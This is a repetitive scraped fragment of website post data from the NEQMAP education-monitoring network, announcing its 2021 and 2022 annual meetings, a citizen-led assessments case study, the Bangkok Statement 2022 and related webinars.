2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

